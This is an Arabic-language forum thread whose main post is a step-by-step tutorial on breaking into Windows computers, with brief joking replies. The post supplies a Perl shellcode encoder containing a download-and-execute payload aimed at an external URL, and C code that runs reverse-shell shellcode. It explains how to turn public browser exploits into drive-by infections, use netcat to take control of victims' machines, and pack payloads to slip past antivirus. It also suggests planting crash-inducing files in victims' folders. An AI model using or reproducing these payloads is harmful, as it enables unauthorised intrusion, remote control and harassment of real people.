يا هلا بيك ...نور الاي بي مالتك كيف تخترق جهاز 484136
حبي هاي الرساله تكولك انت زائر جديد للمنتدى
ف::::ليش:::: ما تسجل وتفضها علمود تكلب براحتك بالمنتدى
واذا تحب تتفرج وتروح هم ع راحتك بس انت الخسران ..تحياتي يا ورده

ميدو



كيف تخترق جهاز 36722
</STRONG>

انضم إلى المنتدى ، فالأمر سريع وسهل

يا هلا بيك ...نور الاي بي مالتك كيف تخترق جهاز 484136
حبي هاي الرساله تكولك انت زائر جديد للمنتدى
ف::::ليش:::: ما تسجل وتفضها علمود تكلب براحتك بالمنتدى
واذا تحب تتفرج وتروح هم ع راحتك بس انت الخسران ..تحياتي يا ورده

ميدو



كيف تخترق جهاز 36722
</STRONG>

هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.

3 مشترك

    كيف تخترق جهاز

    avatar
    عمورك
    ××× مـــبــــدع القـــسم الرياضي ×××
    ××× مـــبــــدع القـــسم الرياضي ×××


    عدد المساهمات730
    راتب العضو3653
    تاريخ التسجيل18/08/2009
    ذكر

    هام كيف تخترق جهاز

    مُساهمة من طرف عمورك 2009-09-25, 3:46 pm

    بسم الله الرحمن الرحيم
    ،
    ،
    ،


    --[x01 : المقدمة]--

    موضوعي اليوم يتحدث عن الثغرات الطفح و حجب الخدمة
    وشرح طريقة الاختراق باستخدام الشيل كود والهدف من موضوعي
    هوا تعلم طرق الاختراق الاحترافية
    والاستغناء عن برامج الاختراق





    --[x02:الثغرات]--

    ثغرات الطفح (remote buffer) التي سأتحدث عنها اليوم هي التي
    تسمح باختراق الأجهزة بملف HTML
    عندما نسمع كلمة ثغرات نعتقد أنها شيء معقد
    لكنها بسيطة جدا وما نحتاج إلا ان نجد ثغرة مناسبة
    نذهب إلى موقع ميلورم
    www.milw0rm.com

    والثغرات التي سوف أتحدث عنها نجدها في قسم (remote)




    وعلينا إيجاد ثغرة تكون في نظام الوندوز
    أعطيكم شرح مبسط لطريقة عملها
    نأخذ مثال على ثغرة


    كود:
    Program Checker (sasatl.dll 1.5.0.531)
    DebugMsgLog Heap Spraying Exploitوهذا رابط الثغرة
    Program Checker (sasatl.dll 1.5.0.531) DebugMsgLog Heap Spraying Exploit
    سوف يفيد كثيراً إذا كنت تجيد اللغة الانجليزية
    لأنها تختلف طريقة كتابة المعلومات من ثغرة لثغرة


    كود:
    sasatl.dll is a library included in the Program Checker
    Pro software package from the Company Zenturi.
    http://www.programchecker.comوتعني أن الثغرة توجد بملف sasatl.dll
    وهذا الملف نجده في برنامج program checker
    وموقع البرنامج
    http://www.programchecker.com
    والثغرة تشتغل فقط على من يستخدم البرنامج هذا

    وتمت التجربة على


    كود:
    Tested In- ******************s XP SP1/SP2 English/French with IE 6.0 / 7.0.
    - ******************s vista Professional English/French SP1 with IE 7.0وطريقة إستخدامها لتحميل السيرفر وتشغيله في جهاز الضحية هيا كالتالي :

    في البداية ننسخ كود ال HTML الذي في أسفل الصفحة

    ونلصقه بالمفكرة
    ويوجد دائماً في الثغرات المشابهة لهذه الثغرة كود unescape
    وهوا عبارة عن ****lcode مشفر
    وهذا شيل كود جاهز وطريقة تشفيره سهلة
    لاحظ معي الأداة التالية


    كود PHP:
    $html = "FezO.txt";
    $FeezO =
    "\\xEB\\x54\\x8B\\x75\\x3C\\x8B\\x74\\x35\\x78\\x03\\xF5\\ x56\\ x8B\\x76\\x20\\x03".
    "\\xF5\\x33\\xC9\\x49\\x41\\xAD\\x33\\xDB\\x36\\x0F\\xBE\\ x14\\ x28\\x38\\xF2\\x74".
    "\\x08\\xC1\\xCB\\x0D\\x03\\xDA\\x40\\xEB\\xEF\\x3B\\xDF\\ x75\\ xE7\\x5E\\x8B\\x5E".
    "\\x24\\x03\\xDD\\x66\\x8B\\x0C\\x4B\\x8B\\x5E\\x1C\\x03\\ xDD\\ x8B\\x04\\x8B\\x03".
    "\\xC5\\xC3\\x75\\x72\\x6C\\x6D\\x6F\\x6E\\x2E\\x64\\x6C\\ x6C\\ x00\\x43\\x3A\\x5C".
    "\\x55\\x2e\\x65\\x78\\x65\\x00\\x33\\xC0\\x64\\x03\\x40\\ x30\\ x78\\x0C\\x8B\\x40".
    "\\x0C\\x8B\\x70\\x1C\\xAD\\x8B\\x40\\x08\\xEB\\x09\\x8B\\ x40\\ x34\\x8D\\x40\\x7C".
    "\\x8B\\x40\\x3C\\x95\\xBF\\x8E\\x4E\\x0E\\xEC\\xE8\\x84\\ xFF\\ xFF\\xFF\\x83\\xEC".
    "\\x04\\x83\\x2C\\x24\\x3C\\xFF\\xD0\\x95\\x50\\xBF\\x36\\ x1A\\ x2F\\x70\\xE8\\x6F".
    "\\xFF\\xFF\\xFF\\x8B\\x54\\x24\\xFC\\x8D\\x52\\xBA\\x33\\ xDB\\ x53\\x53\\x52\\xEB".
    "\\x24\\x53\\xFF\\xD0\\x5D\\xBF\\x98\\xFE\\x8A\\x0E\\xE8\\ x53\\ xFF\\xFF\\xFF\\x83".
    "\\xEC\\x04\\x83\\x2C\\x24\\x62\\xFF\\xD0\\xBF\\x7E\\xD8\\ xE2\\ x73\\xE8\\x40\\xFF".
    "\\xFF\\xFF\\x52\\xFF\\xD0\\xE8\\xD7\\xFF\\xFF\\xFF".
    "http://3asfh.com/file.exe";

    if ($ARGV[0] eq ''){
    $Fz0 = $FeezO;$fez0 = $ARGV[1];$fez0 = "http://pan";

    }
    #citation to ****sploit
    sub dongu {
    my $FeeezO = shift;
    my $Feeez0 = shift() || 'LE';
    my $feeez0 = '';

    my $idx = 0;

    if (length($FeeezO) % 2 != 0) {
    $data .= substr($FeeezO, -1, 1);
    }

    while ($idx < length($FeeezO) - 1) {
    my $c1 = ord(substr($FeeezO, $idx, 1));
    my $c2 = ord(substr($FeeezO, $idx+1, 1));
    if ($Feeez0 eq 'LE') {
    $feeez0 .= sprintf('%%u%.2x%.2x', $c2, $c1);
    } else {
    $feeez0 .= sprintf('%%u%.2x%.2x', $c1, $c2);
    }
    $idx += 2;
    }

    return $feeez0;
    }
    $Fez00 = dongu($Fz0);
    #_
    $************ = <<************;

    ****lcode unescape("%u9090%u9090$Fez00");



    ************

    print H $************;

    print "
    [================================================== ======================
    [// FeezO ****lcodes Encoder v1.0
    [//
    [// fez0\\@hotmail.com
    [//
    [================================================== ======================
    ";

    print "Encoded ****lcode=\\n\\n unescape(\\"%u9090%u9090$Fez00\\") \\n\\nDone.. Have fune "

    انسخ الكود بالكامل والصقه بالمفكرة
    واستبدل الرابط الذي بداخله برابط السيرفر الخاص بك



    (
    بالطبع الاداة مكتوبة بالبيرل
    وسوف تحتاج المترجم الخاص بها)

    بعد استبدال الرابط نفتحها عن طريق موجة الأوامر




    لآحظ الاداة اعطتنا الشيل كود جاهز
    والآن نرجع إلى محور حديثنا .. الثغرة
    ونستبدل الشيل كود





    والآن نحفظ الصفحة بإمتداد HTML أو HTM
    وأصبحت جاهز للإختراق
    عند فتحها سوف يتحمل السيرفر في جهاز الضحية

    ،
    ،
    ،


    نأخذ طرق آخرى لإستخدام الثغرات
    هذه طريقة إستخدمنا فيها شيل كود Download and Execute

    تحدثت سابقاً عن انواعها وطريقة الحصول عليها من موقع ميتاسبلويت
    وتوجد طريقة اخرى وهيا عبر البرنامج ( برنامج ميتاسبلويت )

    وهيا عن طريق كتابة الآوامر التالية

    Show PAYLOADS




    واكتب الأمر use وبعده اسم ال payload الذري تريد استخدامه




    والآن أكتب show options
    لتعبئة البيانات التي تريد استخدامها



    لتعديل البيانات اكتب الآمر set
    وبعد الانتهاء اكتب generate
    وسوف ينتجلك الشيل كود



    لكي نستخدمها في الثغرة السابقة يجب علينا تشفير الكود
    بنفس الطريقة السابقة وبنفس الآداة
    وهيا كالتالي
    ننسخ الشيل كود
    ونلصقه في الاداة



    ونحفظ المستند بإمتداد pl مع تصحيح بعض الرموز عند الاستبدال
    ونشغله عن طريق موجة الاوامر

    [IMG][/IMG]

    وسوف يأتينا الشيل كود مشفر
    وننسخه ونستبدله بالكود المشفر الذي في الثغرة

    وانتهينا

    الخلاصة هيا :

    عندما نستخدم ثغرة من الثغرات التي تسمح لنا الاختراق بملف html
    يجب علينا في البداية صنع شيل كود ومن ثم تشفيره
    وبعدها استبداله بالشيل كود الموجود بالثغرة ولكن توجد ثغرات
    لا تحتاج إلى تشفير ولكن استبدال الشيل كود مباشرة

    ,

    وتوجد ثغرات كثيره تنزل يومياً في مواقع الحماية
    لكن يجب علينا ان نبحث عن ثغرة في برنامج مشهور ويكثر استخدامه
    مثل ثغرات المتصفح



    ،
    ،
    ،
    ،

    نأتي الآن لثغرات حجب الخدمة (denial of service)
    الثغرات هذه لا تسمح باختراق الجهاز
    فقط تقوم ب ( تعليقه )
    وهيا سهلة ولا تحتاج أي تعب أو خبرة
    وهيا تكون عبر ارسال ملف ولا يجب ان يكون exe
    وسوف يسبب تعليق في جهاز المرسل اليه
    وتوجد ملفات تعلق الجهاز عند فتحها
    وبعضها لا تحتاج إلى فتح
    أكمل القراءة أن لم تفهم ما أقصده

    من موقع ميلورم إذهب إلى (dos/poc)



    والثغرات كثيرة وأكثرها تقوم بنفس العمل
    ولكن اختلافها يكون في نوع الملف المصاب

    ونأخذ مثال على هذه ثغرة Ms ******************s GDI+ICO File
    وهذا رابطها
    MS ******************s GDI+ ICO File Remote Denial of Service Exploit

    إفتح الرابط الذي في الثغرة
    وحمل الملف ولكن لا تفتح ضغط عنه
    فقط اسحبه إلى مجلد فارغ
    ولآحظ ماذا يحدث عند فتح هذا المجلد

    ( بطئ في الجهاز ويتسبب في غلق المجلد)

    هذا يعني عندما تخترق جهاز احدهم
    ضع هذا الملف في جميع مجلداته
    ،
    وسوف تسبب له إزعاج شديد

    ،
    ،
    ،



    --[x03:اختراق الأجهزة باستخدام ال ****lcodes ]--

    لن أدخل في مقدمات عن إستخدامها
    تحدث في القسم الأول في الموضوع عن استخدام ال ****lcodes
    في الثغرات

    لكنا دعنا نتحدث عن طريقة استخدامها مباشرة
    دون اللجوء إلى ثغرة
    بمعنى أن نقوم بتحويلها إلى ملف exe
    ويتم ارسالها إلى الضحية وإختراق جهازه
    و برامج الحماية مثل الكاسبر لا تكشفها
    وتحدثت في القسم الاول في الموضوع لطريقة استخدام الثغرة لتحميل ملف وتشغيله في جهاز الضحية
    إذاً لو حولنا هذا ال ****lcode مباشرة إلى ملف exe
    سوف يصبح عندنا (داونلودر) مشفر ...
    وهكذا على حسب نوع ال ****lcode الذي نقوم بتحويله

    ،
    ،

    إن لم تكن تفهم ماذا يعني ال ****lcode
    تابع القراءة وسوف تفهم
    ،
    ،


    في البداية إذهب إلى هذا الموقع
    http://****sploit.com:55555/PAYLOADS

    (ملاحظة ضع كلمه m e t a مكان النجوم)
    واختر ******************s reverse ****l



    Reverse = تعني اتصال عكسي
    ومثل برامج الاتصال العكسي
    اكتب الاي بي الخاص بك
    والمنفذ



    وإظغط على Generate




    والآن انسخ الشيل كود مثل الصورة التي بالأسفل



    وإفتح المفكرة
    واكتب فيها الكود الذي بالأسفل


    كود:
    #include
    char ****lcode[]=
    "\\x2b\\xc9\\x83\\xe9\\xdd\\xd9\\xee\\xd9\\x74\\x24\\xf4\\ x5b\\ x81\\x73\\x13\\xf3"
    "\\x75\\x47\\x94\\x83\\xeb\\xfc\\xe2\\xf4\\x0f\\x9d\\x03\\ x94\\ xf3\\x75\\xcc\\xd1"
    "\\xcf\\xfe\\x3b\\x91\\x8b\\x74\\xa8\\x1f\\xbc\\x6d\\xcc\\ xcb\\ xd3\\x74\\xac\\xdd"
    "\\x78\\x41\\xcc\\x95\\x1d\\x44\\x87\\x0d\\x5f\\xf1\\x87\\ xe0\\ xf4\\xb4\\x8d\\x99"
    "\\xf2\\xb7\\xac\\x60\\xc8\\x21\\x63\\x90\\x86\\x90\\xcc\\ xcb\\ xd7\\x74\\xac\\xf2"
    "\\x78\\x79\\x0c\\x1f\\xac\\x69\\x46\\x7f\\x78\\x69\\xcc\\ x95\\ x18\\xfc\\x1b\\xb0"
    "\\xf7\\xb6\\x76\\x54\\x97\\xfe\\x07\\xa4\\x76\\xb5\\x3f\\ x98\\ x78\\x35\\x4b\\x1f"
    "\\x83\\x69\\xea\\x1f\\x9b\\x7d\\xac\\x9d\\x78\\xf5\\xf7\\ x94\\ xf3\\x75\\xcc\\xfc"
    "\\xcf\\x2a\\x76\\x62\\x93\\x23\\xce\\x6c\\x70\\xb5\\x3c\\ xc4\\ x9b\\x85\\xcd\\x90"
    "\\xac\\x1d\\xdf\\x6a\\x79\\x7b\\x10\\x6b\\x14\\x16\\x26\\ xf8\\ x90\\x5b\\x22\\xec"
    "\\x96\\x75\\x47\\x94";


    main()
    {
    void (*routine) ();
    (long) routine = &****lcode;
    routine();
    }واستبدل فيها ال ****lcode الخاص بك
    وإحفظها بإمتداد c
    بالطبع نحتاج إلى مترجم لتحويل الملف إلى exe
    وتوجد مترجمات كثيرة
    لكن لن اتحدث عنها لأنها ليست محور حديثنا

    ،
    ،

    بعد تحويل الملف إلى exe
    إرسله إلى الضحية



    ،
    ،

    والآن نتنصت بإستخدام أداة النت كات
    (الاداة تأتي مع برنامج ميتاسبلويت)
    أو يمكن تحميلها بشكل منفصل من الرابط التالي
    www.vulnwatch.org

    نتنصت بالنت كات ... بإستخدام الأمر التالي


    كود:
    -l –n –v –p port

    بالطبع نكتب نفس البورت الذي كتبناه في البداية عند انشاء الشيل كود
    والآن ارسل الشيل كود للضحية
    وعندما يفتحه سوف يتصل مع النت كات

    وتستطيع الآن تصفح ملفات الضحية



    ،
    ،
    ،


    والآن الاختراق ب الاتصال المباشر

    ،
    ،
    في البداية اذهب الى موقع ميتاسبلويت
    http://****sploit.com:55555/PAYLOADS
    واختر ******************s bind ****l


    واكتب المنفذ الذي تريد فتحه في جهاز الضحية


    واضغط على Generate
    وننسخ الشيل كود ونضعه في الكود السابق
    ونحفظها بامتداد c
    ونترجمها إلى ملف exe
    والآن نرسل الشيل كود للضحية
    ونتصل بجهازه بإداة putty

    ( الأداة هذه مرفقة مع برنامج ميتاسبلويت)
    وتستطيع تحميلها بشكل منصل من الرابط ادناه
    http://the.earth.li/~sgtatham/putty/.../x86/putty.exe

    شرح الآداة ...
    Host ************ (or ip address) =آي بي الضحية
    Port= لمنفذ المفتوح بجهاز الضحية
    وضع النقطة على Raw
    واضغط على open
    وسوف تفتح لك شاشة الأوامر متصلة بجهاز الضحية

    وتستطيع من برنامج النت كات الاتصال بجهاز الضحية
    وتكون عبر الأمر التالي

    كود:
    -v -n ip port،
    ،
    ،
    أما بالنسبة لإستخدام ال Download And Execute
    فهيا بسيطة جداً

    في البداية إذهب إلى الرابط أدناه
    http://****sploit.com:55555/PAYLOADS...64%65%78%65%63

    وفي مربع DATA
    اكتب رابط السيرفر الخاص بك

    وافعل كما شرحت أعلاه
    ،
    ،
    ،

    ملاحظات بسيطه
    تستطيع بعد عمل ال****lcode ان تضغطه ببرامج الضغط مثل ال upx
    والأفضل أن تدمجه مع ملف exe آخر عن طريق أداة iexpress
    في الوندوز
    وجعل ال****lcode لا يظهر عند التشغيل
    لأنه عند تشغيله تأتي شاشة الدوس السوداء وهيا الطريقة الافضل للتخلص منها

    brhom
    brhom
    امبراطور الحصريات -- نائب المــدير العام
    امبراطور الحصريات -- نائب المــدير العام


    عدد المساهمات890
    راتب العضو3568
    العمر35
    تاريخ التسجيل14/08/2009
    ذكر

    هام رد: كيف تخترق جهاز

    مُساهمة من طرف brhom 2009-09-25, 3:50 pm

    مشكووور خيو عمورك
    ع الخباثه ههههههه
    تحياتي
    كيف تخترق جهاز 727870
    avatar
    عمورك
    ××× مـــبــــدع القـــسم الرياضي ×××
    ××× مـــبــــدع القـــسم الرياضي ×××


    عدد المساهمات730
    راتب العضو3653
    تاريخ التسجيل18/08/2009
    ذكر

    هام رد: كيف تخترق جهاز

    مُساهمة من طرف عمورك 2009-09-25, 3:52 pm

    تدلل عيوني برهوم بس اني مو قصدي الخباثه
    اني قصدي التعلم وبس
    ههههههههههه
    كيف تخترق جهاز 445124
    مــحــمــد الحــيــالي
    مــحــمــد الحــيــالي
    المدير العام للمنتديات مــيدو. تك
    المدير العام للمنتديات مــيدو. تك


    عدد المساهمات1146
    راتب العضو4543
    العمر35
    تاريخ التسجيل03/08/2007
    ذكر

    هام رد: كيف تخترق جهاز

    مُساهمة من طرف مــحــمــد الحــيــالي 2009-09-25, 4:44 pm

    كيف تخترق جهاز 445124

    خوووووووووش خباثه
    بس يرادله واحد خبره
    avatar
    عمورك
    ××× مـــبــــدع القـــسم الرياضي ×××
    ××× مـــبــــدع القـــسم الرياضي ×××


    عدد المساهمات730
    راتب العضو3653
    تاريخ التسجيل18/08/2009
    ذكر

    هام رد: كيف تخترق جهاز

    مُساهمة من طرف عمورك 2009-09-26, 6:48 am

    لا يابه كلشي ميرادلهه
    بس ساعتين شغل بس س
    هههههه
    تحياتي الك (ميدو)

      الوقت/التاريخ الآن هو 2024-11-22, 5:13 am